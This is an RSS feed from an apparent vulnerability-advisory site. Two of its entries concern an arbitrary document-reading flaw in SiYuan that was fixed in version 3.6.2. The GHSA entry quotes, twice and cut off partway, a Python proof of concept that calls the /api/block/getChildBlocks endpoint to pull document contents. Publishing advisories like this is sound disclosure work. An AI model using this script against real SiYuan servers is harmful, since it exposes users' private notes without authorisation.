<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Tue, 06 Oct 2026 01:06:15 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-277918</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-277918</link>
      <description>EUVD-2026-277918</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-277918</guid>
    </item>
    <item>
      <title>fkie_cve-2026-33669</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-33669</link>
      <description>&lt;p&gt;SiYuan is a personal knowledge management system. Prior to version 3.6.2, document IDs were retrieved via the /api/file/readDir interface, and then the /api/block/getChildBlocks interface was used to view the content of all documents. Version 3.6.2 patches the issue.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;SiYuan is a personal knowledge management system. Prior to version 3.6.2, document IDs were retrieved via the /api/file/readDir interface, and then the /api/block/getChildBlocks interface was used to view the content of all documents. Version 3.6.2 patches the issue.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-33669</guid>
    </item>
    <item>
      <title>GHSA-34xj-66v3-6j83 — SiYuan has Arbitrary Document Reading within the Publishing Service</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-34xj-66v3-6j83</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/siyuan-note/siyuan/kernel&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;Document IDs were retrieved via the /api/file/readDir interface, and then the /api/block/getChildBlocks interface was used to view the content of all documents.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;```python
#!/usr/bin/env python3
&amp;#34;&amp;#34;&amp;#34;SiYuan /api/block/getChildBlocks 文档内容读取&amp;#34;&amp;#34;&amp;#34;
import requests
import json
import sys&lt;/p&gt;
&lt;p&gt;def get_child_blocks(target_url, doc_id):
    &amp;#34;&amp;#34;&amp;#34;
    调用 SiYuan 的 /api/block/getChildBlocks API 获取文档内容
    &amp;#34;&amp;#34;&amp;#34;
    url = f&amp;#34;{target_url.rstrip(&amp;#39;/&amp;#39;)}/api/block/getChildBlocks&amp;#34;
    
    headers = {
        &amp;#34;Content-Type&amp;#34;: &amp;#34;application/json&amp;#34;
    }
    
    data = {
        &amp;#34;id&amp;#34;: doc_id
    }
    
    try:
        response = requests.post(url, json=data, headers=headers, timeout=10)
        response.raise_for_status()
        
        result = response.json()
        
        if result.get(&amp;#34;code&amp;#34;) != 0:
            print(f&amp;#34;[-] 请求失败: {result.get(&amp;#39;msg&amp;#39;, &amp;#39;未知错误&amp;#39;)}&amp;#34;)
            return None
        
        return result.get(&amp;#34;data&amp;#34;)
        
    except requests.exceptions.RequestException as e:
        print(f&amp;#34;[-] 网络请求失败: {e}&amp;#34;)
        return None
    except json.JSONDecodeError as e:
        print(f&amp;#34;[-] JSON解析失败: {e}&amp;#34;)
        return None&lt;/p&gt;
&lt;p&gt;def format_block_content(block):
    &amp;#34;&amp;#34;&amp;#34;格式化块内容&amp;#34;&amp;#34;&amp;#34;
    content = &amp;#34;&amp;#34;
    
    # 获取块内容
    if isinstance(block, dict):
        # 尝试多种可能的字段
        md = block.get(&amp;#34;markdown&amp;#34;, &amp;#34;&amp;#34;) or block.get(&amp;#34;content&amp;#34;, &amp;#34;&amp;#34;) or &amp;#34;&amp;#34;
        if md:
            content = md.strip()
    
    return content&lt;/p&gt;
&lt;p&gt;def main():
    &amp;#34;&amp;#34;&amp;#34;主函数&amp;#34;&amp;#34;&amp;#34;
    if len(sys.argv) &amp;gt; 1:
        target_url…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/siyuan-note/siyuan/kernel&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;Document IDs were retrieved via the /api/file/readDir interface, and then the /api/block/getChildBlocks interface was used to view the content of all documents.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;```python
#!/usr/bin/env python3
&amp;#34;&amp;#34;&amp;#34;SiYuan /api/block/getChildBlocks 文档内容读取&amp;#34;&amp;#34;&amp;#34;
import requests
import json
import sys&lt;/p&gt;
&lt;p&gt;def get_child_blocks(target_url, doc_id):
    &amp;#34;&amp;#34;&amp;#34;
    调用 SiYuan 的 /api/block/getChildBlocks API 获取文档内容
    &amp;#34;&amp;#34;&amp;#34;
    url = f&amp;#34;{target_url.rstrip(&amp;#39;/&amp;#39;)}/api/block/getChildBlocks&amp;#34;
    
    headers = {
        &amp;#34;Content-Type&amp;#34;: &amp;#34;application/json&amp;#34;
    }
    
    data = {
        &amp;#34;id&amp;#34;: doc_id
    }
    
    try:
        response = requests.post(url, json=data, headers=headers, timeout=10)
        response.raise_for_status()
        
        result = response.json()
        
        if result.get(&amp;#34;code&amp;#34;) != 0:
            print(f&amp;#34;[-] 请求失败: {result.get(&amp;#39;msg&amp;#39;, &amp;#39;未知错误&amp;#39;)}&amp;#34;)
            return None
        
        return result.get(&amp;#34;data&amp;#34;)
        
    except requests.exceptions.RequestException as e:
        print(f&amp;#34;[-] 网络请求失败: {e}&amp;#34;)
        return None
    except json.JSONDecodeError as e:
        print(f&amp;#34;[-] JSON解析失败: {e}&amp;#34;)
        return None&lt;/p&gt;
&lt;p&gt;def format_block_content(block):
    &amp;#34;&amp;#34;&amp;#34;格式化块内容&amp;#34;&amp;#34;&amp;#34;
    content = &amp;#34;&amp;#34;
    
    # 获取块内容
    if isinstance(block, dict):
        # 尝试多种可能的字段
        md = block.get(&amp;#34;markdown&amp;#34;, &amp;#34;&amp;#34;) or block.get(&amp;#34;content&amp;#34;, &amp;#34;&amp;#34;) or &amp;#34;&amp;#34;
        if md:
            content = md.strip()
    
    return content&lt;/p&gt;
&lt;p&gt;def main():
    &amp;#34;&amp;#34;&amp;#34;主函数&amp;#34;&amp;#34;&amp;#34;
    if len(sys.argv) &amp;gt; 1:
        target_url…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-34xj-66v3-6j83</guid>
    </item>
  </channel>
</rss>
